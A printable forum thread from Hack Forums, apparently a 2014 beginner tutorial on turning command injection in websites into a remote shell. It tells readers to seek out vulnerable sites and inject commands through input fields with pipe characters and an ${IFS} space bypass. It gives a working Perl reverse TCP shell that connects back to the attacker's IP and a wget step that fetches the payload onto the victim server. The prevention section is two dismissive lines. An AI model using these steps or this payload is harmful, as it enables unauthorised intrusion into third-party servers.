Hack Forums
[TUT] From Remote Command/Code Execution to CLI Shell *With Pictures* [TUT] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TUT] From Remote Command/Code Execution to CLI Shell *With Pictures* [TUT] (/showthread.php?tid=4264308)

[TUT] From Remote Command/Code Execution to CLI Shell *With Pictures* [TUT] - hahdbwoannniabs - Jun 2, 2014

So as the thread's title states,
this is a tutorial on how to go from RCE to a command line shell. I will be providing screenshot examples throughout the thread.

This thread is aimed at beginners.

Table of Contents -
0x01 - What is RCE?
0x02 - What is it caused by?
0x03 - How to go from RCE to CLI Shell
0x04 - How to prevent it
____
0x01 - What is RCE?

RCE stands for Remote Command Execution or Remote Code Execution.
Both phrases mean the exact same thing, which is executing commands.____
0x02 - What is it caused by?

99% of the time, RCE is caused by developers or the owner of a website providing the system() function to users. It's absolutely retarded and is born out of administrator stupidity.____
0x03 - How to go from RCE to CLI Shell

Here's the part all of you clicked this thread for.
The first step is finding a vulnerable website. The vulnerable fields are usually a GET data parameter in the website, but they can also be in user-input fields. For example, a ping service website. There would be a user-input box that tells you to type in the IP of the server you want to ping. To see if it's vulnerable, type any command in the input box or GET/POST parameter like ls or dir. This will list the files in the current directory that the vulnerable file is in.

Here is an example -
Spoiler (Click to View)

Notice how I used "|" before and after the command. The server won't always allow commands alone, which is why I had to use it. Common things to enter before and after the command are ; and | but usually you can just enter the command by itself.

Okay, we found a vulnerable website. Now what?
We use a command called wget to retrieve our file with our (insert programming language here) bind/reverse shell script in it. For this tutorial, I will be using a perl reverse TCP shell script. You may use a bind shell script, the instructions for the tutorial will still be the same. I will include what to do to get the reverse shell and what to do to get the bind shell.

Here is the perl reverse TCP shell script I will be using -
Code
use Socket;

$i="your external ip";
$p=your forwarded port;

socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))) {
  open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");
};

This script (which will be later executed on the server) will connect to your IP on the port you're forwarding to you're computer with the /bin/sh job. Save it as whateveryouwant.pl and upload it to a server or perhaps your own server where it will display it with nothing around it to interfere with it.

Once you've done that, enter this into the command execution paremeter -
Code
wget (website or server).com/(name of file).extension

Here's mine -
Spoiler (Click to View)

Notice how I had to use "${IFS}" instead of spaces. This was because the server did not allow me to use spaces when executing the commands. There is about a 50/50 chance of this happening when finding RCE.
Indication that the command executed properly is the fact that it didn't generate any error messages. But to be sure, let's do the ls command to view the files in the directory and see if ours is there.

Here's mine -
Spoiler (Click to View)

The upload was successful! As you can see in the red box, the file that I retrieved is there. If the file name is fucked up and something random or you simply just want to change it, you can use the command "mv oldname.txt newname.txt" To make sure it worked, just run ls again.

Here is where we obtain the shell.

If you're using a bind shell script -
Spoiler (Click to View)

If you're using a reverse shell script -
Spoiler (Click to View)

0x04 - How to prevent it

Well first things first, simply don't fucking provide users with the system() function. If you are providing users with the system() function but don't want to get pwnt, you can filter meta-characters using a PHP script. I'm not going to go into detail about the PHP script.

I hope you all enjoyed the tutorial and found it helpful, if you have any suggestions or comments post them below.

* - hahdbwoannniabs - Jun 5, 2014

No replies?

Okay then fuckers, I hate you too.

* - Talu - Jun 5, 2014

This tutorial looks HQ, I'll look into it. Thanks.